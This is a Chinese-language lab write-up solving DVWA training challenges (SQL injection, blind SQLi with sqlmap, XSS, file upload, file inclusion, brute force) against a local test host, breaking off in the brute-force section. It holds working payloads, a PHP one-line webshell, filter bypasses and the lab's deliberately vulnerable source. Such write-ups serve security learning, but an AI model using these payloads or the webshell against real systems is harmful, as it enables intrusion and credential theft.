DVWA
SQL Injection
Low
-
先尝试是否存在注入漏洞
?id=1'&Submit=Submit# 报错 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1 ?id=1''&Submit=Submit# 成功输出 ID: 1'' First name: admin Surname: admin
-
说明是字符型注入
/?id=-1' or 1%23&Submit=Submit# ID: -1' or 1# First name: admin Surname: admin ID: -1' or 1# First name: Gordon Surname: Brown ID: -1' or 1# First name: Hack Surname: Me ID: -1' or 1# First name: Pablo Surname: Picasso ID: -1' or 1# First name: Bob Surname: Smith
-
判断查询结果列数和显示位置
?id=1' order by 3%23&Submit=Submit# Unknown column '3' in 'order clause' 报错,说明查询结果有两列 ?id=-1' union select 1,2%23&Submit=Submit# ID: -1' union select 1,2# First name: 1 Surname: 2 第1,2列分别在2,3行
-
爆数据库基本信息
/?id=-1' union select CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(SELECT+CONCAT(COUNT(schema_name),0x202f20446174616261736573)+FROM+INFORMATION_SCHEMA.SCHEMATA)%23&Submit=Submit# ID: -1' union select CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(SELECT CONCAT(COUNT(schema_name),0x202f20446174616261736573) FROM INFORMATION_SCHEMA.SCHEMATA)# First name: root@localhost : dvwa : 5.5.47-0ubuntu0.14.04.1 Surname: 4 / Databases
-
……
Medium
-
该难度的请求是POST形式
-
同理,测试参数id,加上单引号时报错,但是加上
'#
时也报错id=1’#&Submit=Submit You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '#' at line 1 怀疑可能是数字型注入 id=2-1#&Submit=Submit ID: 2-1# First name: admin Surname: admin
-
该注入点是数字型注入,后续过程就差不多了
id=-1 order by 3#&Submit=Submit Unknown column '3' in 'order clause' 查询结果有两列 id=-1 union select 1,2#&Submit=Submit ID: -1 union select 1,2# First name: 1 Surname: 2 id=-1 union select CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(SELECT+GROUP_CONCAT(schema_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.SCHEMATA)#&Submit=Submit ID: -1 union select CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(SELECT+GROUP_CONCAT(schema_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.SCHEMATA)# First name: root@localhost : dvwa : 5.5.47-0ubuntu0.14.04.1 Surname: information_schema dvwa mysql performance_schema
-
……
High
-
该难度在独立窗口中发送请求,原来的页面接收响应,以下是发送出去的请求
POST /vulnerabilities/sqli/session-input.php HTTP/1.1 Host: 192.168.137.146:81 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 DNT: 1 Accept-Encoding: gzip, deflate Referer: http://192.168.137.146:81/vulnerabilities/sqli/session-input.php Content-Type: application/x-www-form-urlencoded Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36 Cookie: PHPSESSID=g4dlh1jhdcs3qikaal7vhavn32; security=high; showhints=1 Content-Length: 18 id=1&Submit=Submit ------------------------------------------------------------------------------------ GET /vulnerabilities/sqli/ HTTP/1.1 Host: 192.168.137.146:81 Cookie: PHPSESSID=g4dlh1jhdcs3qikaal7vhavn32; security=high; showhints=1 Pragma: no-cache Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36 DNT: 1 Cache-Control: no-cache
-
抓包发现,请求被发送到session-input.php,并且还要跟随对/vulnerabilities/sqli/的请求才能得到正确响应。猜测处理逻辑是点击按钮会依次触发这两个请求,携带id参数的请求发送到session-input.php,然后session-input.php将参数保存,下一次请求/vulnerabilities/sqli/页面时,会调用保存的参数,然后返回数据。
-
使用yakit的序列配置发送请求即可
-
然后对id参数进行修改测试,其余步骤与前面的过程类似
经过测试,发现是字符型注入 id=-1' or 1#&Submit=Submit ID: -1' or 1# First name: admin Surname: admin ID: -1' or 1# First name: Gordon Surname: Brown ID: -1' or 1# First name: Hack Surname: Me ID: -1' or 1# First name: Pablo Surname: Picasso ID: -1' or 1# First name: Bob Surname: Smith 爆数据库信息 id=-1' union select (SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x64767761)#&Submit=Submit ID: -1' union select (SELECT GROUP_CONCAT(schema_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.SCHEMATA),(SELECT GROUP_CONCAT(table_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x64767761)# First name: information_schema dvwa mysql performance_schema Surname: guestbook users
-
……
Impossible
-
使用了SQL预编译技术,查询语句的语法结构在执行前已固定,传入的参数仅作为字符串,无法注入。此外,还会校验发送的请求中是否包含正确的嵌入在页面中的user_token,这个token每次请求都不同,用来防重放攻击。
<?php if( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); // Make sure only 1 result is returned if( $data->rowCount() == 1 ) { // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } } // Generate Anti-CSRF token generateSessionToken(); ?>
SQL Injection (Blind)
Low
-
这个题无论是否查询成功,都不会将结果回显,仅在查询成功时显示exists,失败时显示MISSING
/?id=-1'%23&Submit=Submit# User ID is MISSING from the database. /?id=1'%23&Submit=Submit# User ID exists in the database.
-
可以使用布尔盲注的方式进行注入
/?id=1' and length(database())=4%23&Submit=Submit# User ID exists in the database. /?id=1' and substr(database(),1,1)='d'%23&Submit=Submit# User ID exists in the database. /?id=1' and substr(database(),2,1)='v'%23&Submit=Submit# User ID exists in the database. /?id=1' and substr(database(),3,1)='w'%23&Submit=Submit# User ID exists in the database. /?id=1' and substr(database(),4,1)='a'%23&Submit=Submit# User ID exists in the database.
-
这样逐个测试很慢,使用sqlmap
python .\sqlmap.py -u 'http://192.168.137.146:81/vulnerabilities/sqli_blind/?id=1&Submit=Submit#' -p id --dbms mysql --technique B -D dvwa --tables --cookie 'PHPSESSID=g4dlh1jhdcs3qikaal7vhavn32; security=low; showhints=1' Database: dvwa [2 tables] +-----------+ | guestbook | | users | +-----------+
Medium
-
该题和SQL Injection的Medium一样,请求都是POST形式,但是只会显示MISSING和exists,通过修改id参数进行测试,发现是数字型注入,使用同样方法进行布尔盲注
id=1 and 1=2&Submit=Submit User ID is MISSING from the database. id=1 and 1=1&Submit=Submit User ID exists in the database. id=1 and length(database())=4&Submit=Submit User ID exists in the database.
-
使用sqlmap,--data指定POST参数
python .\sqlmap.py -u 'http://192.168.137.146:81/vulnerabilities/sqli_blind/#' --data 'id=1&Submit=Submit' -p id --dbms mysql --technique B -D dvwa -T users --columns --cookie 'PHPSESSID=g4dlh1jhdcs3qikaal7vhavn32; security=medium; showhints=1' Database: dvwa Table: users [8 columns] +--------------+-------------+ | Column | Type | +--------------+-------------+ | user | varchar(15) | | avatar | varchar(70) | | failed_login | int(3) | | first_name | varchar(15) | | last_login | timestamp | | last_name | varchar(15) | | password | varchar(32) | | user_id | int(6) | +--------------+-------------+
High
-
和SQL Injection的High一样,需要先向cookie-input.php传参,但是抓包发现好像又有些不一样,最终还是在/vulnerabilities/sqli_blind/请求的cookie中以id传参,cookie-input.php好像没起到作用
POST /vulnerabilities/sqli_blind/cookie-input.php HTTP/1.1 Host: 192.168.137.146:81 Referer: http://192.168.137.146:81/vulnerabilities/sqli_blind/cookie-input.php Cookie: id=1; PHPSESSID=g4dlh1jhdcs3qikaal7vhavn32; security=high; showhints=1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36 DNT: 1 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Content-Length: 18 id=3&Submit=Submit ---------------------------------------------------------------------------------- GET /vulnerabilities/sqli_blind/ HTTP/1.1 Host: 192.168.137.146:81 Referer: http://192.168.137.146:81/security.php Cookie: id=3; PHPSESSID=g4dlh1jhdcs3qikaal7vhavn32; security=high; showhints=1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 DNT: 1 Accept-Encoding: gzip, deflate Pragma: no-cache Cache-Control: no-cache Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
-
并且该注入点还是字符型
Cookie: id=1'#; PHPSESSID=g4dlh1jhdcs3qikaal7vhavn32; security=high; showhints=1 User ID exists in the database. Cookie: id=1'; PHPSESSID=g4dlh1jhdcs3qikaal7vhavn32; security=high; showhints=1 User ID is MISSING from the database.
-
将对/vulnerabilities/sqli_blind/页面的GET请求数据包保存到1.txt中,使用sqlmap进行注入,level大于2时sqlmap才会考虑测试cookie值。
python .\sqlmap.py -r .\1.txt --dbms mysql --random-agent -D dvwa -T users -C user,password --dump --level 3 --technique B Database: dvwa Table: users [5 entries] +---------+---------------------------------------------+ | user | password | +---------+---------------------------------------------+ | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | | admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | | gordonb | e99a18c428cb38d5f260853678922e03 (abc123) | | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | +---------+---------------------------------------------+
Impossible
- 同样是预编译+CSRF Token
XSS Reflected
Low
-
反射型XSS攻击,alert(1)触发弹窗进行验证
http://192.168.137.146:81/vulnerabilities/xss_r/?name=1+<script>alert(1)</script>#
Medium
-
存在过滤
http://192.168.137.146:81/vulnerabilities/xss_r/?name=1+<script>alert(1)</script># Hello 1 alert(1) 猜测可能时过滤掉了<script> 查看前端页面源代码,发现内容被<pre>标签包裹,并且过滤掉了前面的<script>标签 <pre>Hello 1 alert(1)</script></pre> 尝试闭合加大小写绕过,结果成功 <pre>Hello 1 </pre><scRiPt>alert(1)</script></pre>
High
-
过滤更加严格,同样的方法在High难度不适用
http://192.168.137.146:81/vulnerabilities/xss_r/?name=1+</pre><scRiPt>alert(1)</script># <pre>Hello 1 ></pre> 根据返回的内容,判断参数中传递的</pre><scRiPt></script>都被过滤了,但是最后的结果中仍保留了一个> http://192.168.137.146:81/vulnerabilities/xss_r/?name=1</pre><># <pre>Hello 1</pre><></pre> 发现"<>、<pre>"并不会被过滤,并且尝试过script双写大小写都被过滤掉了,但是可以尝试其他标签进行xss攻击 http://192.168.137.146:81/vulnerabilities/xss_r/?name=1+</pre><svg onload=alert(1)></svg># <pre>Hello 1 </pre><svg onload=alert(1)></svg></pre> 成功弹窗
-
查看代码,后端判断了传递的name参数是否为空,然后用正则表达式匹配了所有可能的
<script
的变体,包括用各种字符间隔,大小写等<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
Impossible
-
检查name参数是否为空,非空则继续检查请求中携带的user_token是否与页面中嵌入的CSRF_Token一致,防止重放和CSRF攻击,然后将name参数的值进行HTML实体编码,再输出到前端,让其不能作为代码执行
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token generateSessionToken(); ?>
XSS Srored
Low
-
存储型XSS攻击,攻击者写入的恶意代码会被保存在服务器后端,其他用户加载该页面时也会加载该恶意代码,用于对使用该服务的其他用户进行攻击
-
请求形式为POST,在mtxMessage参数中写入js代码即可完成
http://192.168.137.146:81/vulnerabilities/xss_s/ ... txtName=123&mtxMessage=<script>alert(1)</script>&btnSign=Sign%2BGuestbook 页面源代码: Name: 1<br />Message: <script>alert(1)</script><br />
Medium
-
该难度存在过滤,为方便展示,以下请求内容只展示POST请求体和对应响应
txtName=123&mtxMessage=<script>alert(1)</script>&btnSign=Sign%2BGuestbook Name: 123<br />Message: alert(1)<br /> <script></script>标签被过滤 尝试用<svg></svg>标签,发现也被过滤 txtName=123&mtxMessage=<svg onload=alert(1)></svg>&btnSign=Sign%2BGuestbook Name: 123<br />Message: <br /> 尝试在txtNmae和mtxMessage参数中都写入恶意代码,成功,没有过滤Name的值 txtName=<svg onload=alert(1)></svg>&mtxMessage=<svg onload=alert(1)></svg>&btnSign=Sign%2BGuestbook Name: <svg onload=alert(1)></svg><br />Message: <br />
High
-
使用Medium的方法同样能解,应该是Medium的name什么也没过滤,而High的Name对script进行了过滤,但是同样没有对
<svg>
过滤 -
查看代码,首先将传递的参数值去掉首尾空字符然后赋值给message和name,再对message的内容中特殊字符进行转义然后移除html和php标签(这一步处理顺序有问题),然后又对处理后的结果进行SQL转义,最后对结果进行HTML实体编码。但是对name的内容处理逻辑就简单许多,只过滤了
<script
的各种变体,然后进行SQL转义。最后将message和name存入数据库,但是没有使用预编译,存在报错注入可能,尤其是当服务器采用多字节字符集(如 GBK、BIG5 等)时,mysql_real_escape_string
可能无法正确处理特殊字符,从而导致 SQL 注入漏洞<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input // 对特殊字符进行转义然后移除html和php标签 $message = strip_tags( addslashes( $message ) ); // 进行SQL转义 $message = mysql_real_escape_string( $message ); // HTML实体编码 $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = mysql_real_escape_string( $name ); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); //mysql_close(); } ?>
Impossible
-
查看代码,检查btnSign参数是否为空,非空继续检查CSRF Token,然后对message都采用以下处理方式:
- 移除字符串中反斜杠
- 进行SQL转义,防止SQL注入
- HTML实体编码
-
使用SQL预编译方法将内容存入数据库
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = mysql_real_escape_string( $message ); $message = htmlspecialchars( $message ); // Sanitize name input $name = stripslashes( $name ); $name = mysql_real_escape_string( $name ); $name = htmlspecialchars( $name ); // Update database $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); $data->bindParam( ':message', $message, PDO::PARAM_STR ); $data->bindParam( ':name', $name, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>
File Upload
Low
-
上传文件,该级别没有限制,直接上传一句话php木马文件
<?php @eval($_POST['cmd'])?> ../../hackable/uploads/1.php succesfully uploaded!
-
用文件包含来验证
http://192.168.137.146:81/vulnerabilities/fi/?page=../../hackable/uploads/1.php ... cmd=system('pwd;id'); 显示: /app/vulnerabilities/fi uid=33(www-data) gid=33(www-data) groups=33(www-data)
Medium
-
该难度只允许上传JPEG或PNG图片,应该是前端校验,可以通过将后缀先改为 png,然后抓包修改绕过
POST /vulnerabilities/upload/ HTTP/1.1 Host: 192.168.137.146:81 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36 Content-Type: multipart/form-data; boundary=---------------------------25293250812864 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=g4dlh1jhdcs3qikaal7vhavn32; security=medium; showhints=1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://192.168.137.146:81/vulnerabilities/upload/ Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 DNT: 1 Content-Length: 427 -----------------------------25293250812864 Content-Disposition: form-data; name="MAX_FILE_SIZE" 100000 -----------------------------25293250812864 Content-Disposition: form-data; name="uploaded"; filename="1.php" Content-Type: image/png <?php @eval($_POST['cmd'])?> -----------------------------25293250812864 Content-Disposition: form-data; name="Upload" Upload -----------------------------25293250812864-- 响应 ../../hackable/uploads/1.php succesfully uploaded!
-
用文件包含漏洞来验证
http://192.168.137.146:81/vulnerabilities/fi/?page=../../hackable/uploads/1.php ... cmd=system('ls -al'); 显示 total 24 drwxrwxr-x. 4 www-data www-data 136 Oct 5 2015 . drwxrwxr-x. 12 www-data www-data 209 Oct 5 2015 .. -rw-rw-r--. 1 www-data www-data 604 Oct 5 2015 file1.php -rw-rw-r--. 1 www-data www-data 608 Oct 5 2015 file2.php ...
High
-
校验机制更加严格,在后端进行了二进制文件头校验,即便后缀改为png直接上传也不行
-
PNG文件的开头标志是八个字节89 50 4E 47 0D 0A 1A 0A,表示这是一个PNG图片。更改1.png的文件头的前八个字节为png文件标志,然后再上传。
POST /vulnerabilities/upload/ HTTP/1.1 Host: 192.168.137.146:81 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=g4dlh1jhdcs3qikaal7vhavn32; security=high; showhints=1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 DNT: 1 Referer: http://192.168.137.146:81/vulnerabilities/upload/ Content-Type: multipart/form-data; boundary=---------------------------316519304865 Content-Length: 463 -----------------------------316519304865 Content-Disposition: form-data; name="MAX_FILE_SIZE" 100000 -----------------------------316519304865 Content-Disposition: form-data; name="uploaded"; filename="1.png" Content-Type: image/png {{unquote("\x89PNG\x0d\x0a\x1a\x0a<?php @eval\x28$_POST['cmd']\x29?>")}} -----------------------------316519304865 Content-Disposition: form-data; name="Upload" Upload -----------------------------316519304865-- 响应 ../../hackable/uploads/1.png succesfully uploaded!
-
使用文件包含验证
http://192.168.137.146:81/vulnerabilities/fi/?page=../../hackable/uploads/1.png ... cmd=system('uname -a'); 显示 Linux bdd8e96370d0 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
Impossible
-
查看代码
<?php // 检查是否提交了表单 if (isset($_POST['Upload'])) { // 检查 CSRF token,防止跨站请求伪造攻击和重放攻击 checkToken($_REQUEST['user_token'], $_SESSION['session_token'], 'index.php'); // 获取上传文件的信息 $uploaded_name = $_FILES['uploaded']['name']; // 文件名 // strrpos在字符串中找符号'.'最后一次出现的位置,然后用substr截取'.'后的字符串,得到扩展名 $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1); $uploaded_size = $_FILES['uploaded']['size']; // 文件大小 $uploaded_type = $_FILES['uploaded']['type']; // 文件类型 $uploaded_tmp = $_FILES['uploaded']['tmp_name']; // 临时文件路径 // 定义目标存储路径 $target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; // 文件存储目录 // 生成目标文件名,使用 MD5 哈希值避免文件名冲突 $target_file = md5(uniqid() . $uploaded_name) . '.' . $uploaded_ext; // 生成临时文件路径 $temp_file = ((ini_get('upload_tmp_dir') == '') ? (sys_get_temp_dir()) : (ini_get('upload_tmp_dir'))); $temp_file .= DIRECTORY_SEPARATOR . md5(uniqid() . $uploaded_name) . '.' . $uploaded_ext; // 检查文件是否为图片 if ((strtolower($uploaded_ext) == 'jpg' || strtolower($uploaded_ext) == 'jpeg' || strtolower($uploaded_ext) == 'png') && ($uploaded_size < 100000) && // 文件大小限制为 100KB ($uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png') && // 文件类型限制为 JPEG 或 PNG getimagesize($uploaded_tmp)) { // 确保文件是有效的图片 // 重新编码图片,去除元数据(防止图片中嵌入恶意代码) if ($uploaded_type == 'image/jpeg') { $img = imagecreatefromjpeg($uploaded_tmp); // 从 JPEG 文件创建图像 imagejpeg($img, $temp_file, 100); // 保存为新的 JPEG 文件 } else { $img = imagecreatefrompng($uploaded_tmp); // 从 PNG 文件创建图像 imagepng($img, $temp_file, 9); // 保存为新的 PNG 文件 } imagedestroy($img); // 释放图像资源 // 将临时文件移动到目标路径 if (rename($temp_file, (getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file))) { // 文件上传成功 echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; } else { // 文件上传失败 echo '<pre>Your image was not uploaded.</pre>'; } // 删除临时文件 if (file_exists($temp_file)) { unlink($temp_file); } } else { // 文件类型或大小不符合要求 echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } // 生成 Anti-CSRF token,用于防止跨站请求伪造攻击 generateSessionToken(); ?>
-
以上代码会将上传的图片经过解析、校验、重编码的过程,从上传成功到处理完成存在一定的时间间隔,应该存在条件竞争的可能,但是我尝试利用yakit热加载功能替换CSRF并通过爆破上传,最后并没有成功🤕
File Inclusion
Low
-
没有限制,可以读取系统内任意文件
先读取一下file1.php源码看看 http://192.168.137.146:81/vulnerabilities/fi/?page=php://filter/read/convert.base64-encode/resource=file1.php 显示 PD9waHANCg0KJHBhZ2VbICdib2R5JyBdIC49ICINCjxkaXYgY2xhc3M9XCJib2R5X3BhZGRlZFwiPg0KCTxoMT5WdWxuZXJhYmlsaXR5OiBGaWxlIEluY2x1c2lvbjwvaDE+DQoJPGRpdiBjbGFzcz1cInZ1bG5lcmFibGVfY29kZV9hcmVhXCI+DQoJCTxoMz5GaWxlIDE8L2gzPg0KCQk8aHIgLz4NCgkJSGVsbG8gPGVtPiIgLiBkdndhQ3VycmVudFVzZXIoKSAuICI8L2VtPjxiciAvPg0KCQlZb3VyIElQIGFkZHJlc3MgaXM6IDxlbT57JF9TRVJWRVJbICdSRU1PVEVfQUREUicgXX08L2VtPjxiciAvPjxiciAvPg0KCQlbPGVtPjxhIGhyZWY9XCI/cGFnZT1pbmNsdWRlLnBocFwiPmJhY2s8L2E+PC9lbT5dDQoJPC9kaXY+DQoNCgk8aDI+TW9yZSBpbmZvPC9oMj4NCgk8dWw+DQoJCTxsaT4iIC4gZHZ3YUV4dGVybmFsTGlua1VybEdldCggJ2h0dHBzOi8vZW4ud2lraXBlZGlhLm9yZy93aWtpL1JlbW90ZV9GaWxlX0luY2x1c2lvbicgKSAuICI8L2xpPg0KCQk8bGk+IiAuIGR2d2FFeHRlcm5hbExpbmtVcmxHZXQoICdodHRwczovL3d3dy5vd2FzcC5vcmcvaW5kZXgucGhwL1RvcF8xMF8yMDA3LUEzJyApIC4gIjwvbGk+DQoJPC91bD4NCjwvZGl2PlxuIjsNCg0KPz4NCg== 解码 <?php $page[ 'body' ] .= " <div class=\"body_padded\"> <h1>Vulnerability: File Inclusion</h1> <div class=\"vulnerable_code_area\"> <h3>File 1</h3> <hr /> Hello <em>" . dvwaCurrentUser() . "</em><br /> Your IP address is: <em>{$_SERVER[ 'REMOTE_ADDR' ]}</em><br /><br /> [<em><a href=\"?page=include.php\">back</a></em>] </div> <h2>More info</h2> <ul> <li>" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Remote_File_Inclusion' ) . "</li> <li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Top_10_2007-A3' ) . "</li> </ul> </div>\n"; ?> 执行命令 http://192.168.137.146:81/vulnerabilities/fi/?page=php://filter/read/resource=php://input ... <?php system('pwd;id');?> 显示 /app/vulnerabilities/fi uid=33(www-data) gid=33(www-data) groups=33(www-data)
Medium
-
该难度过滤了常规的目录穿越,如
../../
,但是通过....//....//
即可绕过http://192.168.137.146:81/vulnerabilities/fi/?page=....//....//...//....//etc/passwd 显示 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin ...
-
其他伪协议,如
php://filter
、php://input
未过滤http://192.168.137.146:81/vulnerabilities/fi/?page=php://filter/read/resource=php://input ... <?php system('free -h');?> 显示 total used free shared buffers cached Mem: 1.8G 1.7G 98M 32M 4K 203M -/+ buffers/cache: 1.5G 302M Swap: 2.0G 129M 1.9G
-
查看代码,将用户传递的参数值中的
http://、https://、../、..\
替换为空,即限制了远程文件包含和目录穿越<?php // The page we wish to display $file = $_GET[ 'page' ]; // Input validation $file = str_replace( array( "http://", "https://" ), "", $file ); $file = str_replace( array( "../", "..\"" ), "", $file ); ?>
High
-
该难度过滤更加严格,尝试了 编码绕过、00截断、伪协议都不行,先看看代码怎么写的。发现判断了传递的参数值必须以file开头或者是include.php
<?php // The page we wish to display $file = $_GET[ 'page' ]; // Input validation if( !fnmatch( "file*", $file ) && $file != "include.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit; } ?>
-
所以可以以file*开头然后再进行目录穿越,即用
*
匹配目录中任意以file开头的文件,然后以这个文件开始的相对路径进行目录穿越。此外还可以直接使用file://读取系统文件http://192.168.137.146:81/vulnerabilities/fi/?page=file*/../../../../etc/passwd 或 http://192.168.137.146:81/vulnerabilities/fi/?page=file:///etc/passwd 显示 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync
-
由于
file://
伪协议后不能再跟php://filter
伪协议,所以通过伪协议执行代码的方式不可行,此外,又由于apache2日志的访问权限被限制,www-data用户无法读,所以通过包含日志文件执行代码的方式也不可行。所以只能结合文件上传漏洞进一步利用。root@bdd8e96370d0:/var/log/apache2# ls -al total 36620 drwxr-x---. 1 root adm 72 Feb 15 2016 . drwxrwxr-x. 1 root syslog 52 Feb 15 2016 .. -rw-r-----. 1 root adm 14702938 May 21 11:44 access.log -rw-r-----. 1 root adm 22784476 May 21 11:44 error.log -rw-r-----. 1 root adm 0 Feb 15 2016 other_vhosts_access.log
Impossible
-
查看代码,只允许包含规定的四个页面,已经写死了
<?php // The page we wish to display $file = $_GET[ 'page' ]; // Only allow include.php or file{1..3}.php if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit; } ?>
Brute Force
Low
-
虽然已知密码就是password,但还是用爆破的手段来解,用yakit的web fuzzer来爆破
GET /vulnerabilities/brute/?username=admin&password={{payload(pass_top25)}}&Login=Login HTTP/1.1 Host: 192.168.137.146:81 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: PHPSESSID=bsfbir78dtitau2tte0g0a0i00; security=low User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36
-
而且,看代码登录功能还是用SQL查询的方式来实现的,还没有防护,那直接SQL注入也能登录
<?php if( isset( $_GET[ 'Login' ] ) ) { // Get username $user = $_GET[ 'username' ]; // Get password $pass = $_GET[ 'password' ]; $pass = md5( $pass ); // Check the database $query = "SELECT * FROM
users
WHERE user = '$user' AND password = '$pass';"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); if( $result && mysql_num_rows( $result ) == 1 ) { // Get users details $avatar = mysql_result( $result, 0, "avatar" ); // Login successful echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src=\"{$avatar}\" />"; } else { // Login failed echo "<pre><br />Username and/or password incorrect.</pre>"; } mysql_close(); } ?> -
SQL注入登录
http://192.168.137.146:81/vulnerabilities/brute/?username=admin'%23&password=qwert&Login=Login# Welcome to the password protected area admin'#
Medium
-
该难度后端在响应时基本都存在2秒以上的延迟,如果不知道密码或者密码复杂度高,则爆破的效率会很低
-
